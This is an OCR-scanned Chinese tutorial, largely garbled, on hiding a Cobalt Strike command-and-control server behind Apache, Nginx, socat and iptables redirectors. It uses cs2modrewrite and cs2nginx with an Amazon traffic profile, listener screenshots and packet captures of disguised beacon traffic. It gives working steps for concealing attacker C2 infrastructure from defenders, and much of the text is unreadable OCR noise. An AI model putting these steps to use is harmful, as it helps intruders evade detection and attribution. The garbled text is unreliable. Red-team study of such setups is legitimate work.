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CS EME K RfRRESL P

2

]

ok

(Rl ESE IP bR T ZBTI0%A CON FMERI&5h, BERERBDETEFRN—, Al
Beacon RUB(EMLEZE—ARENLE, ZPENSFREIRERIERE AN
C2 RSS2, MMAZR] C2IP [RM BN, trMIlEmO% L, EMUF FTEXD
& :

BARSHEEERE
ZE Ko, BHERS C2HR&aE
c2

A AR RE ANMEE1RZ, bl Apache. Nginx. Socat AN RFEH
= IPtables %5,

Apache

htaccess 2 Apache B—"ECEXMH, PIARECE 301 EF M. 404 F51RT1HE .
WY RBE. ZHRERIIERSESE, XEBHNUEA. htaccess i TIERE L .

ZEmales, WEREEAMNZE, MNNLRER At A, Bk
22 FERRE gpache, XER ubuntu XS T

# ZZapache

sudo apt install apache?2

# FFMapachefJaZenmodén< TH, KEMEXAIEIR
sudo aZenmod rewrite headers proxy proxy_http ssl cache
# FFHapachefa2dismodis< TH, RERBXAIELR
sudo a2dismod -f deflate

# apache MEZ N IAREY, BidaZensiter HUELL S
sudo aZ2ensite default-ssl

# apache MEZ M UASRES, BITa2dissiter] Ffihs
sudo a2dissite 000-default

# UHRADRUET EiR G Ereload (TR ELEN

sudo service apache?2 reload
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SREHECE apache?2.conf, EMAIETE / etc/apache?/apache?.conf, FEI NEIX
BRE

»

# /var/wawhih s B R E
<Directory /var/www>
Options Indexes FollowSymLinks
# AllowOverridef3skiERRE S A1 . htaccessff, none 2B, alllll.htaccessmifi
BIESRENES
AllowOverride None
Require all granted
</Directory>

FEME SO0 N EXER:

# nhl: MEZMERER
<Directory /var/www/html>
Options Indexes FollowSymLinks
# Wsh2: EIHIEERNALL, {#.htaccess AR
AllowOverride All
Require all granted
</Directory>

#0EH3: ARINEXECE

# .htaccessTiARLE BHG, XEREHGICREER

LogLevel alert rewrite:trace5

# TENASTAUAERE, BUREEThttps L4, N IECE
SSLProxyEngine On

SSLProxyVerify none

SSLProxyCheckPeerCN off

SSLProxyCheckPeerName off
SSLProxyCheckPeerkExpire off

apache Z&EHEEF, WHITER:
sudo service apache?2 restart

IERERECERMSTAL 7, & MRFMFERSHERKAY. htaccess X4, XEHA 1]
BRI RL, BIAHELE] T

https://github.com/threatexpress/csZ2modrewrite

{ERIBIAE A htaccess XAARIER S

git clone https://github.com/threatexpress/csZmodrewrite
cd csZ2modrewrite
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# iRECSHEMNBREST, RECKRSSRNMITIRO, rigE— Mt ZthREEC2EE S fH

FURI—1%, BNASEEM
python3 csZ2modrewrite.py -i amazon.profile -c http://teamserver:port -r http
s://www.baidu.com > /var/www/html/.htaccess

CS mITEXE & T

B Edit Listener — O Py

Create a listener.

MName:

Payload:

Payload Options

HTTP Hosts® 45. rhiEIRSS3EIP | @ | SrE—
o o

HTTP Host (Stager): [45. FREEpRS3a8IP |

Profile: |geraut -

HTTP Port (C2): |80 ]

HTTP Port (Bind):  |8888 ]

HTTP Host Header | ]
HTTP Proxy: [ |
[ Save l [ Help ‘
PSRRI AN £ 4%
external internal = listener user computer note

192.168.23.136 Administrator * DESKTOP-FOORQLL

FEFEFATIIERERSSE: L1510) apache (HE, BIMEZ] 221 X1 ip 23
EEAEY ip HhtE, CS Sihin)2) T RARARSSE5
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like Gecko
100 +00¢

AESEN _EHITHIE, BEMILE 45 FFLRERSSEE, BEIMRY host 1

amazon,

127 16.539167 192.168.23.136 as. HTTP 549 GET /s/refenb] |GET /s/ref=nb_sb noss_1/167-3294888-0262949/field-keywords=books HTTP/1.1

128 16.539686 a5 192.168.23.136 Tce 60 B0 + 49983 [A{ |Accep

133 17.@50751 a5, .. . 192.168.23.136 HTTP 431 HTTP/1.1 200 { |HOST: wiww.amazon.com

134 17050881 163 .168.23.136 45, Tep 54 40083 - 89 [A| |Cookie: skin=noskin;session-token-vzObhABPDLMT41ncxghKPeyE@XY1BhGETTuvhicALE tuokXBORIoH:
137 17279523 192.168.23.136 a5 TP 426 49983 - 89 [Pl | CThIM+E1L+ENe046NQBMISaZ JET 359vOHEqXE0PGNLRNCCFYeSyHTKYr3dvuD]pRX2V] TeqgkpoBHI 75VUj+PQ!

hit=5-24KU11BBB2ZRZSYG] 3BDK | 1419899012996

138 17. 280088 45 BEvE— 192.168.23.136 TP 60 B2 + 49983 [Al g - - ; P ’ " a — Lik K
139 17.280845 192.168.23.136 45 HITP/X... 722 POST /Ma215/a| [“5C" }.«g?nt. oz a/5.@ (Windows NT 6.1; WOWG4; Trident/7.0; rvill.e) like Gecko
Connection: kKeep-alive
140 17,281195 as, 192,168.,23.136 TR 6@188) 1859830 | . ne_control: no-cache
142 17.R23976 A5, 192.168.23.136 HITP 367 HITP/1.1 268 {
Frame 148: 6@ bytes on wire (488 bits), 6@ bytes captured (488 bits) on interface \DeviceY |wrref1.1 200 OK
Ethernet II1, Src: VMware fa:8a:6c (09:50:56:f4:83:6¢), Dst: VMware cf:59:2c (00:8c:29:cf:S |Date: Wed, 26 May 2021 ©9:03:14 GMT
Internet Protocol Version 4, Src: 45. » Dst: 192.168.23.136 server: server

v Transmission Control Protocol, Src Port: 8@, Dst Port: 49983, Seq: 378, Ack: 1536, Len: @ | |X-amz-id-1: THKUYEZKCKPGYST42PZT
Source Port: 80 x-amz-id-2: a21yZaxrNDNtdGRsa212bGV3YWESamZuZWoydGSrZmRuZ2tmZGl4aHRVNDYpbgo=

Destination Port: 49983 X-Frame-oOptions: SAMEORIGIN
[stream index: 4] lnnEFnE-lnrm::‘ng: gzip
[TcP segment Len: @] Content-Length: 64

. Keep-Alive: timeout=5, max=100
Sequence Mumber: 378 (relative sequence number) ST By it
Sequence Mumber (raw): 1235488773 :

BE— 1 https EEBR, BIRAEEFRIUEZENGA apache.conf EEE THE%
HJ SSL, ZAEAEREXRY. htaccess, <l :

python3 csZ2modrewrite.py -i ../amazon.profile -c https://teamserver:port -r ht

tps://www.baidu.com > /var/www/html/.htaccess

AR, ¢ ZEURAY C2 iRS5e: ip EAME https, XA CS A WTECEL T
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B Edit Listener

Create a listener.

Mame: |E23pa[he-—143j-bbbb

_—

Payload: |Eieatn3n HTTPS 4™ -

Payload Options

dto

HTTPS Hosts: 45.

HTTPS Host (Stager): [45.

Profile:

[default

HTTPS Port (C2):

443 <= |

HTTPS Port (Bind): 8888

HTTPS Host Header |

HTTPS Proxy: [

| save || telp_|

L& EBIME I UES], BEMIEEPIERSES,

119 12.821331
120 12.831231

192.168.23.136 45 Tep 5q |-
192.168.23.136 45 Tisvi.z 398 |-

Frame 125: 6@ bytes on wire (480 bits), 66 bytes captured (48 bits) on inte
Ethernet II, Src: VMware_f4:8a:6c (@0:50:56:f4:8a:6c), Dst: VMware_cf:59:2¢
Internet Protocol Version 4, Src: 45 » Dst: 192,168,23.136

Source Port: 443
Destination port: 58195
[Stream index: 8]

[TCP Segment Len: @]

[y 443:

PR S AN Y T N IS T N P

12112.832325 45, 192.168.23.136 Tep 64 |- . . P Y T S S V0]
122 12.277613 as, 192,168.23.136 TLsvi.2 163 |°C° J9se.Hooaged Ae000nd bercooool Losiolidt L Hbe 2 LB 090, Sealioo00L A st
ran S I < 1% (1) S| S, PO PO C ORI TNy 1 (O 17 PO ) JOPS. TP |
12312.277726  192.168.23.136 45. Tep sq ot A g
TR R RS TP TN .88
- 12412.278589  192.168.23.13 45. Tisviz 109 | a3 L0 Doimeno. 6. (K LPLBS ke
| 12512.278282 as. 162,168.23.136 Tep
126 12.279968 192.168.23.136 a5 TI5v1.2 A

~ Transmission Control Protocol, Src Port: 443, Dst Port: 58195, Seq: 118, Ack |-----0--F..

Sequence Number: 110 (relative sequence number})

=
—
MIZ/IN
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ar AP elaalle™s v nerannes e VK. od,
PP TOR I O T TV DU -3 v T
L.a".
«£3.%..
I biioooc laccoa NG s@eramefochocadiondo B " Baw/L e e aa s o fuyad awece oo oo oo | Ko Ty . M*RY

REAEDNEIME, CS 4G, IP it ERMER(IPERSEN IP, WEE
BATLEY 1P Hbtk, MIEETELE C2 profile FEEEU FTAR:
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CSfft i SR %% & e 1. 52 1P
http-config {
set trust_x_forwarded_for "true":

Nginx
Nginx 1 Apache BOECE RN, RIBEAR—F, B NEL ngink, asa

apt install nginx nginx-extras

TEEE R ngink.conf BoB X4, ZXHERREEEERE R, BN EABIALER,
DORERIE cs2nginx, SR

python cs2nginx.py -i amazon.profile -c http://teamserver:port -r https://waw.
baidu.com -H kali.com > /etc/nginx/nginx.conf

ZHH apache BB MER—1F, XEZ T —1 H S, ZSHAREERIEEN
RO, EREREIEE, ARFER hosts FECEIZIGE ip N ip.

BlANF RS Es ip & 1111, BT LEa<S H IBENZ kali.com, BiAFME
It / etc/hosts HRII—1T, NERN:

1.1.1.1 kali.com

X H £ nginx FASEIEE hostname, tOFLEIE ip AT 2gE £, @i EFx
FEIMB, MR HSEHASIRE, = AIURIN,

n.profile -c http://121, :8888 -r https://www.baidu.com = /etc/nginx/nginx.conf
T -H HOSTNAME

=AEEE nginx BIA], LAY CS WRIrEe B apache —#F, BIDARIN 2%

extemnal intemal listener GET /s/ref=nb_sb_noss_1/167-3294888-8262949/field-keywords=books HTTP/1.1
192.168.23.136 | |Accept: */*
Host: www.amazon.com

1419899012996

Connection: Keep-Alive
Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Wed, 26 May 20621 14:31:18 GMT

Content-Length: @

connection: keep-alive

x-amz-id-1: THKUYEZKCKPGYST42PZT

x-amz-id-2: a21yZ2xriDNtdGRsa212bGV3YWBSamZuZWoydG5rZmRuZ2tmZGl4aHRVNDVpbgo=
X-Frame-Options: SAMEORIGIN

Content-Encoding: gzip

server: Server

Referrer-Policy: no-referrer

EventlLog X | Listeners X | Beacon 19216823 136@3880 X

APERRSEE LEE nginx WIA19iex, HRBEMIFELAR C2 gk, WH
&

https://mp.weixin.qq.com/s/solMUGG3zxixcpY8d17RsQ

Cookie: skin=noskin;session-token=ND5090VB027gHa761ZKn1+6rHVB78eZ917C7UEGOQPIfk
KYPh1gaRo6NQ1HyUeYSFMU3eEFMI53d JXBSRIXFBY@MLS pNUNMNIKWNPEOEGYUUT+DGGRHWWN Lvd3h1

User-Agent: Mozilla/5.@ (Windows NT 6.1; WOW64; Trident/7.@; rv:11.8) like Geck
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httos NIFEHE ME =, BME LEMA H SEEEOB M EE, HERPE
ARS5%s, SEIMEIERVMENT, M-AZE LEABF hosts BT, HIE/RLEZFIET ssl
PISEEICIR

BRXEMAETR T, alil WAIZZ TERE—RYXE, H#E T ssl BIEMUL nginx
WEE, MRERAETE] &, RE%%E ssl 19, MeJLUER freess!, 48E 715
ZBET ssl /g, el cs 47, # apache 2—£AY,

https://www.cnblogs.com/zhoudawei/p/9257276.html
https://my.oschina.net/qingqingdego/blog/3025526

HEREXRT LEBRPERSES P RS, B&75AM apache —41F, I

apache &7,
Socat

socat TREFIAZNE T, AR#TIHOBRERR, REBE—Fo<IHAR
E, <R

socat TCP4-LISTEN:80,fork TCP4:C2IP:8888

TCP4—LISTEN ARG ITAAN, IPV4 FRIETEIRC, RAEESEREMERE, XEIR
T—" fork, fork {EZNEEFImEERED X HRABHE, BEIEEE A
ARSS2R IP fliw, IPV4A iEE(FER TCP4 KI8T

ElFEE RIS
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B Edit Listener — O pd

Create a listener.

Mame:

Payload:

Payload Options

HTTP Hosts: 45 LB G

B 8| .
X

HTTP Host (Stager): 45. |

Profile: {default - \

HTTP Port (C2). |80 |

HTTP Port (Bind): (8888 |

HTTP Host Header | |

HTTP Proxy: [ |l

| save || Heip |

eI L2k, AT IP B2 EEkRSes IP, A8 apache 1 nginx 7] BAIE
S EE & SR AL,

external internal « listener user computer n
192.168.23.136

IPTables
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iptables -I INPUT -p tcp -m tcp --dport 8@ -j ACCEPT

iptables -t nat -A PREROUTING -p tcp --dport 8@ -j DNAT --to-destination c2 i

p:c2 port
iptables -t nat -A POSTROUTING -j MASQUERADE

iptables -I FORWARD -j ACCEPT
iptables -P FORWARD ACCEPT
sysctl net.ipv4.ip_forward=1

XML EREZSE:

N

https://wangchujiang.com/1linux-command/c/iptables.html

N

T NAE:

]
N

-I INPUT =-p tcp -m tcp =--dp 80 -] ACCEPT
-t nat -A PREROUTING -j rt 80 -3 DNAT --to
POSTROUTING -] MASQUERADE
CEPT
D ACCEPT
forward=1

15542 bytes)
in out
* *

s, B bytes)

tcp dpt:8@

CS BRI 2RFNNZ BTN :

B Edit Listener —

Create a listener.

I ane

Payload:

Payload Options

dto

HTTP Hosts: 43,

HTTP Host (Stager): [45.

Profile: [defaull

HTTP Port (C2) |80

HTTP Port (Bind) 8888

HTTP Host Header: |

HTTP Proxy: [

https://mp.weixin.qq.com/s/solMUGG3zxixcpY8d17RsQ
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‘ | save || Help |

LR AT i8I iptables ¥ & 4

external internal =~ listener user computer
192.168.23.136 Administrator * DESKTOP-FOORQLL

Eventlog X | Listeners X | Beacon 192.168.23.136@3056 X I—

hell config

NRBEEEF BT iptables AUEHEE, NWrTAHITUW MO E

iptables -t mangle -A POSTROUTING -j LOG --log-level debug --log-prefix "OUT P
ACKETS:"

vim {824 / etc/syslog.conf, R TAREA
kern.debug /var/log/iptables
&3 syslog RS

service rsyslog restart

XETHEFICEMESICREIE var/log/syslog 7, EEZNE, HAF 123 2 E]
ip, 45 NHEERRSSER ip!

TTL=64 ID:

TTL=64 ID

TTL=64 ID=3972

TTL=64 ID 2 DF PRO

TTL=64 ID: 3 DF PRO

C=0x08 TTL=64 ID=6 DF PROTO=TCP

TTL=64 ID=6 DF PROTO=T

-
lﬁL‘,\ él:l

SEMRE P REETIh0REERS2, SHTERSE%LE C2 £, md]
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C R R B LT
USLHX P INEENMA B RS, & LEREINTEH Apache. Nginx, ZR{F

Socat, BF LH IPTables %55,

XM EMRET AR, #SEEE, B—LREHNZRT HTTPS B&E, pJIA
2R IP BOERY, BENTEE LR, FIARE, LihrHiEiRS2HEAER
S22, BEBAZMREI, MEBCHN—almiviRSE, BAXMaiIRS2EHME=
B . BIMNIRPIERSZMWE NRE, PABREERRAIEMNAI URINERERE
EAYRME, MMRIESE C2 ik,

1ERKEE MR LA 2 8189 CON A7AME4%ES, 8] CDON HiA2Eid CDON Ei5
KEERFIESER C2 RS2 L, MAINBEREEDRE, MEML AT CDN ZLE|
LRSS es, ELARSESHIEER) C2, KREIWERBAOBE,
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